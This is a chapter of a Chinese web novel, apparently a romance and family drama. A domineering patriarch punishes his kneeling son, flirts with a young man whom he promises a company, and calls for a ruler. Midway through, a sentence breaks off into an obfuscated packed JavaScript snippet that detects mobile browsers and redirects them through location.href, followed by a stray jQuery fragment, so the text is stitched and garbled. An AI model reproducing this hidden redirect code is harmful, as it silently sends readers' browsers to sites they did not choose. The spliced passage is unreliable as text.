私人医生到了,他看到了跪在地上的邢绍泰,但他不会违背邢先生的命令,先去给邢绍泰医治,就算邢绍泰能顶着这个“邢”姓在外呼风唤雨。
医生走到程崇的面前,“程先生,能给我看看你的伤口吗?”
程崇觉得医生有些眼熟,顺着想了想,忽然想起自己在网上见到过这个人的照片,当时说得是这个人在国际顶刊首发重磅科研成果,这样一个人居然在邢宸这里做“兼职”?
也有可能是“主业”。
医生恪守职业本分,无论遇到什么样的患者,只要有邢先生的吩咐,他一定会竭尽全力,可是……
程崇手指轻轻抚上酒红色衬衣的扣子,一颗一颗解开,勾人的眼睛一直望向邢宸。
肌肉线条流畅却不夸张,人鱼线没入到腰带下。
白皙细腻的肌肤上多了几道青紫的痕迹,倒也没太破坏美感。
邢宸走过来,医生立马微微低头让开。
“疼吗?”邢宸目光缓缓下移,将程崇故意露出来的肌肤扫了一眼。
他并不介意旁人故意谄媚于他。
程崇年轻,基因不错,这幅身子也生得好看。
“邢先生,这里疼。”程崇指着的地方分明没有受伤。
邢宸弯曲的手指在程崇腹肌上轻挂了下,最后指腹停在了青紫色的淤伤上。
邢宸手上的力道虽然不重,但先前邢绍泰打他时可是用了十足的力气,生怕打不死他一般,所以眼下邢宸微微按压,他还是会痛。
但他一点都不介意邢宸多按按,从未觉得以色侍人这么好。
从来都没有听闻过邢宸身边有什么男伴女伴,他可能是这些年来,唯一能被邢宸如此对待的,心中有了些许悸动。
邢绍泰在一旁看得眼珠子都快要炸掉了。
程崇在做什么?那副又脏又骚的身子都快要贴到他父亲身上了。
鉴于父亲还在,他难听的脏话往肚子里咽,邢绍泰咬了咬牙,“我刚刚就该直接阉了你!”
程承故作被吓了一下,“邢先生只是在给我检测身体,其他的我什么都没有做。”
邢绍泰牙齿都快要咬碎了。
还什么都没有做呢?要是可以的话,这只骚狐狸估计能把裤子脱下来。
邢宸看着乖巧顺从的程崇,令他心情好了一些,抬手轻轻摸了下程崇的脸,“你兄长最近要收购一家公司?”
程崇愣了下,缓缓点了点头。
因为资金的问题,他哥迟迟都没有和那家公司谈拢,偏偏他父亲又特别想要那家公司。
他一个私生子,自然没有权力参与到这些事情中。
邢宸放下手,“我买下来送你。”
程崇怔住了,好半天才回过神来,如果这话是从旁人的口中说出,他会以为那人在开玩笑,但是从邢宸的嘴里说出,那就是板上钉钉的事了。
他心中欣喜,却又不敢全都表现出来,这样就不美了。
程崇微微低了下头,“谢谢邢先生,邢先生以后若是有任何需要,都可以来找我,再赴汤蹈火的事情,我都愿意去做。”
他那个兄长因为收购公司的事情愁了多久,他是最清楚的,父亲也跟着发愁,要是让他们知道他这个私生子卖卖笑,就得到了想要这么久的公司,怕是也得要气死。
邢宸让助理将程崇送走,差不多是前后脚的功夫,乔可容被管家带了进来。
在看到跪在地上的邢绍泰,乔可容愣了下,下意识看向坐在沙发上的邢宸。
邢绍泰原本都打算好好受罚了,忽然听到脚步声,抬眸见到来人是乔可容,他眉头微拧,不知道乔可容为什么会到父亲这里。
但想到乔可容事事对自己顺从的样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240131|197691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,连忙对乔可容使了几个眼色。
让乔可容想办法求求父亲放过自己。
乔可容低眉来到邢宸的一旁,轻轻唤了声,“叔叔。”
这两个字对他来说既陌生,又渴望。
他余光瞟到跪在地上的邢绍泰,心中一惊,平时见惯了邢绍泰颐气指使的样子,倒从来没有见过邢绍泰这般……顺从的模样。
邢绍泰看着邢宸对乔可容疑似略冷淡的态度,顿时对自己方才想要让乔可容帮他求情的想法觉得可笑至极。
乔可容说好听点是他父亲出于怜悯养大的孩子,说难听点就是一条狗。
一条狗能在他父亲的心目中占据多大的分量呢?
幸好,乔可容对邢家也算是足够的忠心,如若不然,都不用他父亲动手,他自己就容不下乔可容。
邢绍泰稍稍抬起身子,想到自己还在受罚,挪动出去的膝盖又被他收了回去,“你来这里做什么?惹爸心烦,丢人现眼。”
乔可容生了个榆木脑袋,他平日里瞧着都无趣,不然就不会出去寻乐子,再把父亲弄得心烦……
邢宸轻轻睨着跪在地上的邢绍泰,“我允准的,你还有什么意见吗?”
一听这话,邢绍泰偃旗息鼓,讪讪地摇了摇头,“没有,爸。”
邢宸走到邢绍泰的身前,还未说些什么,他这个大儿子肩头就在发颤了,喉结上下滚动了好几下。
顺从站在一旁的乔可容余光瞟到了跪在地上的邢绍泰,内心难掩诧异,平时在外面不可一世的邢大少爷,在家还是要像个孩子一样乖乖受罚。
“可容,”
乔可容下意识循着声音看了过去,邢宸的背影出现在视线中。
“去帮我拿戒尺来。”
邢绍泰艰难地咽了咽口水,脸色发白。
他知道父亲要动真格的 。